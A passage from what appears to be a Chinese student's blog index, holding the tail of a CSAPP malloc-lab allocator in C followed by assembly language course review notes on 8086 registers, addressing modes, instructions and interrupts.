\u0026lt;= 16) return 1; if (size \u0026lt;= 32) return 2; if (size \u0026lt;= 64) return 3; if (size \u0026lt;= 128) return 4; if (size \u0026lt;= 256) return 5; if (size \u0026lt;= 512) return 6; if (size \u0026lt;= 1024) return 7; if (size \u0026lt;= 2048) return 8; if (size \u0026lt;= 4096) return 9; if (size \u0026lt;= 8192) return 10; if (size \u0026lt;= 16384) return 11; if (size \u0026lt;= 32768) return 12; else return 13; // return 0; } static inline size_t adjust_size(size_t size) { if (size \u0026gt;= 112 \u0026amp;\u0026amp; size \u0026lt; 128) { return 128; } // binary.rep if (size \u0026gt;= 448 \u0026amp;\u0026amp; size \u0026lt; 512) { // printf(\u0026#34;Allocated size changed from %ld to %d...\\n\u0026#34;, size, 512); return 512; } return size; } // 关于空闲链表的插入和删除 static inline void insert_node(void *bp, size_t size) { // 我们是往链表的头部进行插入 // 找到是属于第几个桶 size_t number = get_index(size); // 该链表的头节点先拿出来 char *curr = (char *)mem_heap_lo() + (size_t)free_lists[number]; // free_lists存放了一系列的头节点 // 直接更新头节点为插入的节点 free_lists[number] = (char*)((char *)bp - (char *)mem_heap_lo()); // 插入的节点不是第一个节点 if (curr != mem_heap_lo()) { // 把插入的bp作为链表的头节点 // 这里设置的是指向链表的地址 // 设置双向链表 SET_NODE_PREV(bp, mem_heap_lo()); SET_NODE_NEXT(bp, curr); SET_NODE_PREV(curr, bp); } else { // bp是插入的第一个节点 SET_NODE_NEXT(bp, mem_heap_lo()); SET_NODE_PREV(bp, mem_heap_lo()); } } // check!!! static inline void delete_node(void *bp) { assert(bp != NULL); assert(!IS_ALLOC(HEAD_PTR(bp))); size_t size = GET_SIZE(HEAD_PTR(bp)); size_t number = get_index(size); char *next_node = NEXT_NODE(bp); char *prev_node = PREV_NODE(bp); // 是否是头节点 if (prev_node == mem_heap_lo()) { // 是头节点就直接设置成下一个节点 free_lists[number] = (char*)((char *)next_node - (char *)mem_heap_lo()); // 是否是唯一的头节点 if (next_node != mem_heap_lo()) { SET_NODE_PREV(next_node, mem_heap_lo()); } } else { // assert((int*)prev_node \u0026gt;= (int*)mem_heap_lo()); SET_NODE_NEXT(prev_node, next_node); if (next_node != mem_heap_lo()) { SET_NODE_PREV(next_node, prev_node); } } } /* * mm_init - initialize the malloc package. */ // 这个实现要求返回的指针8字节对齐 // check!!! // 设计上哪里还有漏洞，再比对一下 int mm_init(void) { // 先初始化空闲链表free_lists // 开始时空闲链表的每个指针都定义成堆底的指针 free_lists = mem_heap_lo(); for (int index = 0; index \u0026lt; FREE_LIST_NUMBER; ++index) { // 每个分四字节 // 我们分配了FREE_LIST_NUMBER个双字，每个双字都用来存放链表的头指针 if ((heap_listp = mem_sbrk(2 * WORD_SIZE)) == (void *)-1) { return -1; } // 开始时free_lists所有的指向的地址都为堆底的地址 // 这里就是从堆底开始的15个双字，每个都存放着堆底的地址 free_lists[index] = 0; } // 此时双字对齐，我们开四个字来存放序言块和结尾块 if ((heap_listp = mem_sbrk(4 * WORD_SIZE)) == (void *)-1) { return -1; } // 紧接着我们来分配头部 // 第一个字填充 WRITE(heap_listp, 0); // 后两个字是序言块，已分配的8字节 WRITE(heap_listp + (1 * WORD_SIZE), PACK(2 * WORD_SIZE, 1)); WRITE(heap_listp + (2 * WORD_SIZE), PACK(2 * WORD_SIZE, 1)); // 然后是结束标志的header,(Epilogue Header),大小为0,但是已经分配 // 这里的PACK3是自己分配，并且自己前方的块也已经分配的意思。 WRITE(heap_listp + (3 * WORD_SIZE), PACK(0, 3)); // heap_listp指向序言块的header，这样序言块就不会被释放 heap_listp += 2 * (WORD_SIZE); // 申请一个page的内存失败。 if (extend_heap(CHUNK_SIZE / WORD_SIZE) == NULL) { return -1; } return 0; } /* * mm_malloc - Allocate a block by incrementing the brk pointer. * Always allocate a block whose size is a multiple of the alignment. */ // check!!! 唯一有可能是因为取整的问题出错 // 接下来要检查其余的函数 void *mm_malloc(size_t size) { // malloc的新逻辑 size_t alloc_size, extend_size; void *hp; if (heap_listp == NULL) { mm_init(); } if (size == 0) { return NULL; } size = adjust_size(size); // 保证对齐，可以用来存储头部或者脚部 if (size \u0026lt;= 2 * WORD_SIZE) { alloc_size = 4 * WORD_SIZE; } else { // 要分配的块向上取整 // 多了8个字节的大小 alloc_size = (2 * WORD_SIZE) * ((size + (WORD_SIZE) + (2 * WORD_SIZE - 1)) / (2 * WORD_SIZE)); // alloc_size = adjust_size(alloc_size); // ++test_number; // printf(\u0026#34;%d:要分配%ld个字节......\\n\u0026#34;, test_number, alloc_size); // printf(\u0026#34;Alloc size is %ld...\\n\u0026#34;, alloc_size); // size_t number = size / (2 * WORD_SIZE); // number += 1; // alloc_size = 2 * WORD_SIZE * number; } if ((hp = first_fit(alloc_size)) != NULL) { // ++test_number; // printf(\u0026#34;%d Alloc Size IS %d !!!\\n\u0026#34;, test_number, alloc_size); place(hp, alloc_size); return hp; } // 扩展堆，内存不足 // 也就是堆内存扩展的时候出了问题 extend_size = MAX(CHUNK_SIZE, alloc_size); //++test_number; // printf(\u0026#34;%d:产生了堆扩展，扩展大小为 %ld 个字节\\n\u0026#34;, test_number, extend_size); if ((hp = extend_heap(extend_size / WORD_SIZE)) == NULL) { return NULL; } place(hp, alloc_size); return hp; } /* * mm_free - Freeing a block does nothing. * 释放本身是很简单的逻辑 */ // check!!! void mm_free(void *ptr) { if (ptr == NULL) { return; } if (heap_listp == NULL) { mm_init(); return; } size_t size = GET_SIZE(HEAD_PTR(ptr)); size_t is_prev_alloc = IS_PREV_ALLOC(HEAD_PTR(ptr)); // // 更改头部和尾部 // 因为这是一个空闲块，所以我们前后都要进行写入 WRITE(HEAD_PTR(ptr), PACK_ALL(size, is_prev_alloc, 0)); WRITE(TAIL_PTR(ptr), PACK_ALL(size, is_prev_alloc, 0)); // 合并空闲块的逻辑 coalesce(ptr, size); } /* * mm_realloc - Implemented simply in terms of mm_malloc and mm_free */ void *mm_realloc(void *ptr, size_t size) { void *oldptr = ptr; void *newptr; size_t copySize; newptr = mm_malloc(size); if (newptr == NULL) return NULL; copySize = *(size_t *)((char *)oldptr - SIZE_T_SIZE); if (size \u0026lt; copySize) copySize = size; memcpy(newptr, oldptr, copySize); mm_free(oldptr); return newptr; } // void debug_heap() // { // printf(\u0026#34;======= 空闲链表状态 =======\\n\u0026#34;); // for (int i = 0; i \u0026lt; FREE_LIST_NUMBER; ++i) // { // printf(\u0026#34;FreeLists[%d]: \u0026#34;, i); // char *bp = (char *)mem_heap_lo() + (size_t)free_lists[i]; // while (bp != mem_heap_lo()) // { // printf(\u0026#34;[%u] -\u0026gt; \u0026#34;, GET_SIZE(HEAD_PTR(bp))); // bp = NEXT_NODE(bp); // } // printf(\u0026#34;NULL\\n\u0026#34;); // } // } ​\t一些注释还只是一些很少部分的debug记录，一定要反省！！！\n我是真的垃圾。。。。。。\n","date":"1 June 2025","externalUrl":null,"permalink":"/csapp/csappmalloclab/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eVirtual Memory:MallocLab \n    \u003cdiv id=\"virtual-memorymalloclab\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#virtual-memorymalloclab\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCSAPP中关于虚拟内存的一点简单笔记。\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch2 class=\"relative group\"\u003e1.物理和虚拟寻址 \n    \u003cdiv id=\"1%E7%89%A9%E7%90%86%E5%92%8C%E8%99%9A%E6%8B%9F%E5%AF%BB%E5%9D%80\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#1%E7%89%A9%E7%90%86%E5%92%8C%E8%99%9A%E6%8B%9F%E5%AF%BB%E5%9D%80\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e\n    \u003cfigure\u003e\n      \u003cimg class=\"my-0 rounded-md\" loading=\"lazy\" src=\"/img/image-20250513200943305.png\" alt=\"image-20250513200943305\" /\u003e\n      \n    \u003c/figure\u003e\n\u003c/p\u003e","title":"CSAPP:MallocLab","type":"csapp"},{"content":" 汇编语言复习 # ​\t1.这是某学校汇编语言的课程内容，简单做一个复习的笔记，如果能帮到校友就更好了\u0026hellip;\u0026hellip;\n​\t2.整体来看感觉内容不多，但是很杂很乱，容易一开始让人很不知所以然，再加上讲课老师感觉逻辑性不算很强，可能让人感觉有点劝退，但是这门课程本身还是相当重要的\u0026hellip;\u0026hellip;\n​\t3.然后就是关于本课程的实验，我的评价就是善用AI，如果你觉得很难写，但是前提是你先要看得懂并且会用MASM工具来调试。\n​\t4.手写代码占30分，这个要卷的话看下上机作业，不卷随缘，剩下基本都是八股。\n​\t5.我的笔记确实复制粘贴了很多PPT，但是哪怕是PPT你也会想看带目录的对么\u0026hellip;\u0026hellip;\n​\t6.关于考试，我整理了一个文件，存放了两个往年题，并且我个人的考试经验来看，第二套往年题目相当具有参考价值，点击这里下载。最后一道关于I/O的编程题目几乎是类似的，没有答案，你直接截图给某个GPT就可以了。\n第一章 基础 # 第一章只有一些基本的概念。\n执行过程 # 二进制数：计算机硬件唯一识别和使用的数制 以2为基的数制表示法，数由2个数字构成（0、1），二进制数后缀为B， 如10110111B。 十进制数：人类自然语言中常用的数制 以10为基的数制表示法，数由10个数字构成（09），十进制数后缀为D， 如1945D。 十六进制数：程序设计中方便使用和转换的数制 以16为基的数制表示法，数由16个数字构成[09、A（10）、B（11）、 C（12）、D（13）、E（14）、F（15）]，十六进制数后缀为H，如 18ADH。\n进制的转换 # 数码的表示 # 1.原码表示法 # （1）原码表示法： 将数的真值形式中的正（负）号，用代码0(1)来表示，数 值部分用二进制来表示。符号 + 绝对值 正数：符号位为0，后面的n-1位为数值部分 负数：符号位为1，后面的n-1位为数值部分 （2）原码的特点 “0” 的原码有两种表示法 [+0]原＝00000000B, [-0]原＝10000000B n位二进制原码所能表示的数值范围为： -(2n-1-1)～(2n-1-1)\n原码表示一个数时，最高位为符号位\n[+3]原码 = 0 000,0011 = 03H [-3]原码 = 1 000,0011 = 83H [+0]原码 = 0 000,0000 = 00H [-0]原码 = 1 000,0000 = 80H\n2.反码表示法 # 正数的反码同原码，负数的反码数值位与原码相反 例：n=8bit [+5]反码 = 0 000,0101 = 05H [-5]反码 = 1 111,1010 = FAH [+0]反码 = 0 000,0000 = 00H [-0]反码 = 1 111,1111 = FFH 0的表示不唯一\n3.补码表示法 # （1）补码表示规则： 正数的补码: 符号 - 绝对值（与正数的原码相同） [+1]补码 = 0000 0001 = 01H [+127]补码 = 0111 1111 = 7FH [+0]补码 = 0000 0000 = 00H 负数的补码: 负数 X 用 2n-|X| 表示 [-1]补码 = 28-1 = 1111 1111 = FFH [-127]补码 = 28-127 = 1000 0001 = 81H 一种简单方法： （1）写出与该负数相对应的正数的补码 [-1]补=1111 1111 [+1]补= 0000 0001 （2）按位求反1111 1110 （3）末位加1\n第二章 80x86计算机组织 # 2.1 三种模式 # 实模式-虚拟8086模式-保护模式\n*2.2 寄存器（Register）： # 数据寄存器 # (暂态计算中用到的寄存器)\nAH(high) AL(low)\nAX(adder) BX(base) CS(counter) DX(double)\n指针寄存器 # 指针和变址寄存器用来引用一些数据：能够存放偏移量。\nSP(stack pointer)\nBP(base pointer)\nSI(source) DI(destination)\n段寄存器 # 在存储器中用分段的方式来管理数据，存放了很多base地址。\nCS(code segment) SS(stack segment) DS(data segment) ES(append segment)\n控制寄存器 # IP（Instruction pointer）\u0026mdash;》指令地址的偏移量\nflags有哪些，什么意思？\n标志位分类 ➢ 条件（状态）标志 OF、SF、ZF、AF、CF和PF，其值取决于一个操作完成后，算逻部件ALU所处的状态。 ➢ 控制标志和系统标志 DF、IF和TF，其值是通过指令人为设置的，用以控制程序的执行。\n陌生的flag寄存器：\n*2.3 存储器 # ◆ 计算机存储信息的基本单位是一个二进制位 ◆ 8086字长为16位，地址长度20位 ◆ 80386以上机的字长为32位，地址长度32位以上\n怎么表示？\n​\tLittle Endian：小端法，03080H是低的地址，存到低位的字节，03081H是高位的地址，就存放到高位的字节，这里是重点。\n存储器采用分段管理后，一个内存单元地址要用段基地址和偏移量两个逻辑地址来描述，表示为:\n​\t段基址:偏移量\n就是要理解分段的机制。\n存储器分段：段起始地址必须是某一小段的首地址，段的大小可以是64K范围内的任意字节。 **物理地址：**每个存储单元的唯一的20位地址。 段基地址：段起始地址(20位)=10H * 段寄存器(16位) \u0026mdash;-》在二进制上左移动了4个bit 偏移地址：段内相对于段起始地址的偏移量（16位），偏移量又称为有效地址（EA）。 物理地址 = 16d * 段寄存器 + 偏移地址 = 10H * 段寄存器 + 偏移地址\n几个段？ 4个。\n中间比较复杂的部分都是操作系统的内容，可以暂时不管。\n第三章 指令系统和寻址方式 # 3.1\t80X86寻址方式 3.2\t80X86机器语言指令概况 3.3\t80X86指令系统\n3.1 怎么寻找地址？ # 寻址方式：指令指定操作数地址的方式 1、与操作数据有关的寻址方式 2、与转移地址有关的寻址方式\n操作数通常保存在： （1） 指令中MOVAX, 2000H （2） CPU的寄存器中MOVAX, BX （3） 内存单元中MOVAX, [2000H] （4） I/O接口寄存器中INAH, 20H\n3.1.1 与数据有关的寻址方式 # 经常拿来改错。\n还会考察你什么形式是怎样的寻址方式。\n[]间接引用地址，相当于引用，在内存中取地址。\n作用：\n不加 []：直接数值或地址 mov al, VALUE\n如果 VALUE DB 66H：不加中括号，会被解释为立即数 66H 编译后等同于： mov al, 66h ⚠️ 但在某些上下文中可能错误，比如你写：\nmov ax, VALUE ; VALUE 是 DB 类型，而 AX 是 16 位寄存器 → 错误！\n加 []：访问内存地址中的内容 mov al, [VALUE]\n现在 VALUE 被当作一个内存地址，意思是： “从地址为 VALUE 的内存中取出一个字节的值，放到 AL 里” 假如： VALUE DB 66H 则执行完之后：AL = 66H 这是直接寻址方式（Direct Addressing）。\n怎么来做偏移？\nEA的计算方法：重点\n要注意的表示方式。\n缺省的时候默认就是DS数据段。\nMOV BX，[2100H]；DS：[2100H] →BX\n容易混淆的地方：\n用 VALUE DB 10 定义了一个变量，那么VALUE是这个定义的变量的内存地址的符号名（指针）\nMOV AX，VALUE 符号不对应。\ndata segment value db 66H other db 88H arr db 12h, 34h, 56h, 78h data ends code segment mov ax, data mov ds, ax mov al, value mov cl, [value] mov ax, word ptr value mov bx, word ptr [value] ... code ends 指令 正确性 说明 mov al, value ✅ 默认等价于 mov al, [value] mov cl, [value] ✅ 显式间接寻址，读取一个字节 mov ax, word ptr value ⚠️ 虽然合法，但读取了 value 和 other 两个字节 mov bx, word ptr [value] ⚠️ 同上，低地址是 value，高地址是 other 都差不多。\nbase pointer 和 stack segment（SS）来做配合处理。\n◼ 只要指令寻址时使用了BP，计算物理地址时约定段是SS段。 ◼ 指令寻址时使用了除BP以外的其它寄存器，计算物理地址时约定段为DS段。\n3.1.2 和转移地址相关的方式 # 寻找地址的方式，因为可能会转移到别的CS段中去。\n段内寻址：转移指令与转向的目标指令在同一代码段中CS内容不变，IP内容修改 段间寻址：转移指令与转向的目标指令在两个代码段中CS和IP内容修改 直接寻址：转向的目标指令地址由转移指令直接指明\n间接寻址：转向的目标指令地址由转移指令中的寄存器或存储单元内容给出\n1.段内直接寻址 # 相当于给IP直接加上此时两个位置的地址之间的差值。\n2.段内间接寻址 # 两张PPT可以解决问题，实际上就是用offset做间接的取值。\n注意这里的si是16位，也就是近转移。\n例题：\n3.段间直接寻址 # 这就是直接更改代码段的CS和IP的值来跳转。IP在CS上面。\n4.段间间接寻址 # 下面的图比较重要：\n条件转移指令只能使用段内直接寻址方式 无条件转移（JMP）和转子指令（CALL）可用四种方式的任何一种\n3.2 80X86语言指令概况 # 不重要吧，对于考试。\n3.3 80X86指令系统 # 3.3.1 数据传送指令 # 注意pushA和popA，把所有的寄存器从stack上面进行移动。\n容易错的位置：\nDS这样的段寄存器不能用立即数更改。\nCS不能修改。\n不能直接从内存到内存。\nMOVSX MOVZX\t有符号和0扩展的区别，比较简单。\npush 和 pop 指令\n注意只能处理16bit和32bit的寄存器，不能POP AL!!!\n注意栈顶位于低地址位置，当你push数据的时候，sp的值应该减少。\npop是把stack里面的值拿出来放到DST里面去。\nXCHG直接作交换\n注意操作数是32bit 还是 16bit，来决定SP的增减值的大小。\nIN OUT这里只能用于Adder寄存器。\nI/O指令的输入和输出 # 输入和输出都是站在CPU的角度上对于端口。\n用AL寄存器接收来自于27H端口的数据。\n地址传送指令\n能同时改变两个寄存器的原始指令。\n送给寄存器的同时还送给段寄存器。\n低16bit给寄存器，高16bit给段寄存器。\n很好的一个例子：\n类型转换指令 # BSWAP：什么逆天指令？\n3.3.2 算术指令 # 1.加法指令（加法指令ADD、带进位加法指令ADC、加1指令INC等） # (1)加法指令 ADD\n格式：ADD DST,SRC 功能：（DST）＋（SRC）→ (DST) 说明：对操作数的限定同MOV指令 (2)带进位加法指令 ADC\n多个字节或者多个字的时候用ADC处理。\n格式: ADC DST,SRC 功能:（DST）＋（SRC）＋CF→(DST) 说明:对操作数的限定同MOV指令,该指令适用于多字节或多字的加法运算\n(3)加1指令 INC 格式：INC OPR 功能：（OPR）＋1 → (OPR) 说明：很方便地实现地址指针或循环次数的加1修改 (4)互换并加法指令 XADD(486以上)\n和ADD一样，就是把SRC的值更换成了原来的DST。\n格式：XADD DST，SRC 功能: (SRC) + (DST) → 暂存器 (DST) → (SRC) 暂存器→(DST) 说明：该指令执行后,原DST的内容在SRC中,和在DST中\n2.减法指令（减法指令SUB、带借位减法指令SBB、减1指令DEC、求补指令NEG、比较指令CMP等） # (1)减法指令 SUB 格式：SUB DST,SRC 功能：（DST）－（SRC）→(DST) 说明：除是实现减法功能外，其他要求同ADD (2)带借位减法指令 SBB 格式:SBB DST,SRC 功能:(DST)－(SRC)－CF→(DST) 说明:除了操作为减外,其他要求同ADC,该指令适用于多字节或多字的减法运算 (3)减1指令 DEC 格式：DEC OPR 功能：(OPR)－1→(OPR) 说明：可以很方便地实现地址指针或循环次数的减1修改\n4)求补指令 NEG 格式：NEG OPR 功能：0FFFFH -(OPR)+1 → (OPR) 对目标操作数（含符号位）求反加1，并且把结果送回目标 说明：利用NEG指令可实现求一个数的补码 (5)比较指令 CMP\n只改变FLAG，不更改实际的value.\n格式:CMP OPR1,OPR2 功能:(OPR1)－(OPR2)，只影响标志位，不影响源和目的操作数 说明:这条指令执行相减操作后只根据结果设置标志位，并不改变两个操作数的原值，其他要求同SUB。CMP指 令常用于比较两个数的大小。\n3.乘法指令 （无符号乘法指令MUL、带符号数乘法指令IMUL等） # (1)无符号数乘法 MUL 格式: MUL SRC\t; SRC：除立即数以外的寻址方式 功能: 字节操作： (AL) * (SRC) → (AX) 字操作： (AX) * (SRC) → (DX:AX) 双字操作： (EAX) * (SRC) → (EDX:EAX) 乘积的高一半为0，则CF、OF均为0，否则CF、OF均为1 这样可以检查结果是字节、字或双字。 (2)带符号数乘法 IMUL 格式: IMUL SRC\t；SRC：除立即数以外的寻址方式 功能: 字节操作： (AL) * (SRC) → (AX) 字操作： (AX) * (SRC) → (DX:AX) 双字操作： (EAX) * (SRC) → (EDX:EAX) 乘积的高一半是低一半的符号扩展，则CF、OF均为0，否则CF、OF均为1。 其实质和MUL情况下一样，主要用于判断结果是字节、字或双字。\n📌 DX 寄存器的常见用途 # *乘法和除法指令中用于存放高位结果： 如无符号乘法 MUL： 16 位乘法时：AX × SRC = DX:AX，结果的高 16 位在 DX。 除法时也是如此，例如 DIV： 被除数是 DX:AX 组成的 32 位数。 端口输入输出指令中存储端口号： 比如 IN AL, DX 表示从 DX 寄存器所指端口读取字节到 AL。 OUT DX, AL 表示将 AL 中的数据写入 DX 所指端口。 通用用途寄存器（可存储临时变量、地址、计数值等） 4.除法指令（无符号除法指令DIV、带符号除法指令IDIV） # 考试大题会出一道类似于这样的手写代码，最好手写一遍，处理一些细节问题：怎样写出完整的可执行程序？\n5.十进制调整指令（DAA、DAS等） # 懒的看，考了再说。。。。。。\n3.3.3 逻辑指令 # 逻辑指令包括：\n１．逻辑运算指令 # 字面意思，大概看看\n２．位测试并修改指令 # 。。。。。。\n３．位扫描指令 # 。。。。。。\n４．移位指令 # 注意：那么✖2或者➗2的幂之类的就用位移运算最好。\n3.3.4 串处理指令 # 处理存放在存储器里的数据串，所有串指令都可以处理字节或字，386及后继机型还可以处理双字。 利用串操作指令可以直接处理两个存储器单元的操作数，方便地处理字符串或数据块。 串处理指令包括： MOVS 串传送 CMPS 串比较 SCAS 串扫描 LODS 从串取 STOS 存入串 INS 串输入（从I/O端口输入） OUTS 串输出（向I/O端口输出）\n和MOV有什么区别？\n功能 MOV MOVS 系列 用途 常规数据传送 字符串/内存块复制 位置指定 显式指定源和目标 隐式使用 SI/ESI/RSI 和 DI/EDI/RDI 可否用于循环 通常需要手写循环 可配合 REP 一条指令复制多次 是否影响 DF 不会 受方向标志位 DF 影响 注意源和目标的要放入的寄存器的位置。\nsource:DS:[SI]/ES:[SI]\ndestination:ES:[DI]\n自动化的更改这些变量，注意每次移动的大小取决于数据类型的大小。\nDF（direction flag） 决定复制的方向。\n先不管REP REPZ之类的\n3.3.5 控制转移指令 # 控制转移指令包括：\n１．无条件转移指令 # 具体情况：\n直接用位移量（相当于是利用EA的差值)或者间接用地址（直接利用EA)跳转。\n这里会考试：\n注意偏移量和位移量的区别。\n段间CS IP的值都要进行更改。\n２．条件转移指令 # 指令 条件 条件描述 JZ ZF = 1 上一条操作结果为 0（等于） JNZ ZF = 0 不等于 JC CF = 1 有进位（Carry） JNC CF = 0 无进位 JE 等于（其实和 JZ 一样） JNE 不等于（= JNZ） ３．条件设置指令 # ４．循环指令 # 80X86为了简化循环程序的设计，设计了一组循环指令如下： LOOP OPR LOOPE/LOOPZ OPR LOOPNE/LOOPNZ OPR\n1.只能短转移。\n2.CX或者ECX作为计数器。\nLOOP 指令做简化\n５．子程序调用/返回 # 子程序:子程序结构相当于高级语言中的过程(PROCEDURE).为便于模块化程序设计，往往把程序中某些具有独立功能的部分编写成独立的程序模块，称之为子程序。 程序中 由子程序调用指令调用子程序，而在子程序执行完后由返回调用指令返回调用程序继续执行。 80X86提供了以下指令 CALL子程序调用 RET子程序返回\n根据调用的类型：对于CS和IP进行压栈的操作。\nRET，就是恢复现场。\n６．中断指令/返回 # 有时当系统运行或者程序运行期间在遇到某些特殊情况时，需要计算机自动执行一组专门的程序来进行处理。 这种情况称为中断，所执行的这组程序称为中断例行程序或中断子程序。 其它随机事件，如I/O控制和数据传送，不采用中断方式系统效率会很低。\n注意和子程序调用的区别。\n保存疑IP CS FLAGS\nINT INTO IRET\n硬中断就是被动的。\n中断向量 ◼中断向量：中断处理子程序的入口地址 ◼在PC机中规定中断处理子程序为FAR型 ⚫ 每个中断向量占用4个字节，其中低两个字节为中断向量的偏移量部分,高两个字节为中断向量的段基址部分\n中断类型号 IBM PC机共支持256种中断，相应编号为0～255，把这些编号称为中断类型号。\n整个中断向量表就是指向一些code segment。\n256 * 4 = 1024bytes\n0000H \u0026mdash;》03FFH的内存单元。\n调用和返回：\n注意INT功能的过程，从中断向量表中取值。\n3.3.6 处理机控制指令 # 比如在调用中断程序之前，STI，设置中断允许的标志位。\n第四章 汇编语言程序格式 # 4.1 汇编程序功能 # 前面是linkerlab的内容。\n机器指令 伪指令（前面的定义数据之类的） 宏指令\n4.2 伪操作 # 伪操作：告诉汇编程序的某些功能说明或定义，仅在汇编时使用，不会汇编成任何机器指令。\n4.2.1 处理器选择伪操作 # .386P\n4.2.2 段定义伪操作 # 明确关系，主程序开始之前指定。\n4.2.3 程序开始和结束伪操作 # NAME TITLE END\n4.2.4 数据定义及存储器分配伪操作 # 到现在才讲数据段中怎样定义数据。\n看右边的具体例子。\n段基址 偏移量 类型\n注意以下这个例子：偏移量和放置的问题。\n4.2.5 表达式赋值伪操作EQU # 知道是EQU就可以：\n4.2.6 地址计数器对准伪操作 # ORG 设置，可以达到对齐的效果。\n4.2.7 基数控制伪操作 # 。。。。。。\n4.3 汇编语言程序格式 # 考察过上述的定义。\n4.4 汇编语言程序上机过程 # 返回DOS的方法。\nMOV AX, 4C00H\nINT 21H\n第五章 循环与分支程序 # 应该是没有考察过画图的问题：\n看一个跳转的例子：\n5.1循环程序设计 # 具体的多看看例题，或者自己手写代码。\n用CX控制循环的变量就可以。\n感觉右边的更好记忆。\n5.2分支程序设计 # 主要看一下跳转表：\n5.3如何在实模式下发挥 80386及其后继机型的优势 # 。。。。。。\n第六章 子程序调用（就是调用函数的准备） # 6.1子程序的设计方法 # procedure name PROC NEAR/FAR\n\u0026hellip;\u0026hellip;\nprocedure name ENDP\n子程序和调用者在不在同一个代码段之中，利用FAR NEAR\n比如：\nFAR属性在同一个段或者不同的段内都可以调用。\n段间调用压入CS寄存器：FAR属性和NEAR属性\n保护和恢复寄存器的方法\n◼ 子程序开始时，使用PUSH指令保存 ◼ 子程序返回前，使用POP指令恢复 ◼ 保存和恢复次序应该相反\n优先保存FLAG寄存器\n参数传送： # ​\t（1）通过寄存器传送参数 ​\t（2）通过存储器传送参数 ​\t*子程序和调用程序在同一程序模块中，则子程序可 直接访问模块中的变量 ​\t*子程序和调用程序不在同一程序模块中 ​\t（3）通过地址表传送参数地址 ​\t（4）通过堆栈传送参数或参数地址\n寄存器传送 # 大概看一下这段代码，同一个段中对于寄存器的访问都是相同的。\n存储器直接访问 # 传送一个table（地址表） # 参数很多，用offset把很多参数的起始位置放到一张表里：\n直接压入堆栈 # 类似于结构体的处理： # 怎么访问？\n6.4 *DOS系统功能调用 # 可能是考察重点。。。。。。\n系统功能调用是DOS为系统程序员及用户提供的一组常用子程序。 用户可在程序中调用DOS提供的功能。 DOS规定用INT 21H中断指令作为进入各功能调用子程序的总入口，再为每个功能调用规定一个功能号，以便进入相应各个子程序的入口。 DOS系统功能调用的分类： 设备管理、文件管理、目录管理\n过程图：\n例子：\n第七章 高级汇编语言技术 # 1.宏汇编 # 宏：源程序中一段有独立功能的程序代码。 宏指令：用户自定义的指令。在编程时，将多次使用的功能用一条宏指令来代替。\n像是模板或者C语言中的宏函数，直接复制粘贴。\n注意和子程序调用的区别：\n怎么写一个macro,以下的格式，调用的时候和高级语言是类似的:\n过程：\n这个替换过程的术语：\n接着是一些宏函数的特殊规定，看ppt即可\u0026hellip;\u0026hellip;这里就已经有高级语言的味道了\u0026hellip;\u0026hellip;\n1.可以没有参数。\n2.参数可以是操作数 比如ADD。\n3.LOCAL局部的变量，防止冲突。\n一个例子：\n2.重复汇编 # 例子：\n在data segment定义的简化的操作：\nIRP\n不定的重复，每次用一项来替换REG，天才。\nIRPC\n用字符串不停地替代哑元，直到结束。\n3.条件汇编 # 还是类似于C语言的头文件编译一样的东西\u0026hellip;\u0026hellip;\n举个简单例子：\n第八章 输入输出程序设计 # I/O设备的数据传送方式 # 由很多接口上面的寄存器来完成：\nI/O端口地址：为了访问接口上的寄存器，系统给这些寄存器分配专门的存取访问地址，这样的地址称为I/O端口地址。\n8086/8088CPU系统中，I/O端口地址和存储单元的 地址是各自独立的，分占两个不同的地址空间。 8086/8088CPU提供的I/O端口地址空间达64KB 可接64K个8位端口(字节)，或可接32K个16位端口(字)。 PC及其兼容机实际只使用0~3FFH之间的I/O端口地址。\u0026mdash;》（PC只用了10位地址线(A0-A9)进行译码，其 寻址的范围为0H-3FFH，共有1024个I/O地址。） 存取接口寄存器中的数据是依靠I/O指令完成的。 一些IO指令 # 程序直接控制IO，不停等待，直到可以输入或者输出： # 查询状态端口的数据。\n中断方式 # 如果你对中断感兴趣，可以查看这个网页：https://linux-kernel-labs-zh.xyz/so2/lec4-interrupts.html\n中断方式： 当外设准备好时，外设主动向CPU发出中断服务请求，CPU暂时中止现行程序的执行，转入中断服务处理程序完成输入/输出工作，之后返回被中断的程序继续执行。 中断方式特点： CPU和I/O设备能够并行运行。 具有及时处理响应意外事件或异常的能力。\n屏蔽中断方式 # 设置IF标志位\n硬件中断服务： # 软件中断是由程序本身导致的： # 程序中的中断指令 INT n 操作数n指出中断类型号，0—FFH 如 INT 12H ； 存储器容量测试 CPU的某些运行结果 除法错中断：除数为零/商超出表数范围，中断类型号为0的 内部中断 溢出中断：运算结果溢出，OF=1，INTO指令将引起类型为4 的内部中断 调试程序（DEBUG）设置的中断 单步中断：标志位TF=1时，中断类型号=1 断点中断：将程序分段，每段设置一个断点（INT 3），中 断类型号=3 中断向量表 # 相当于是一个映射map，设置对应的CS和IP，然后跳转执行对应的中断处理的程序。\nX86的内存空间分配（OS课中还会学到）：\n一个基本处理流程：\n中断响应\n中断处理\n中断返回\nCPU自动恢复\n和子程序调用的区别： # 中断与子程序调用处理过程相似，差别主要在于进入和返回时的处理不同。\n进入中断服务处理程序时 # 子程序调用：只把CS和IP压入堆栈。 中断：除把CS和IP压入堆栈外，还把标志寄存器的内容压入堆栈，并且关掉了中断和单步运行方式。\n返回时 # 子程序返回：只把断点地址从堆栈弹出送CS和IP。 中断返回：除恢复断点地址CS和IP外，还要恢复标志寄存器的内容。\n时机不同 # 中断：一般随机发生；软中断在程序中预先安排。 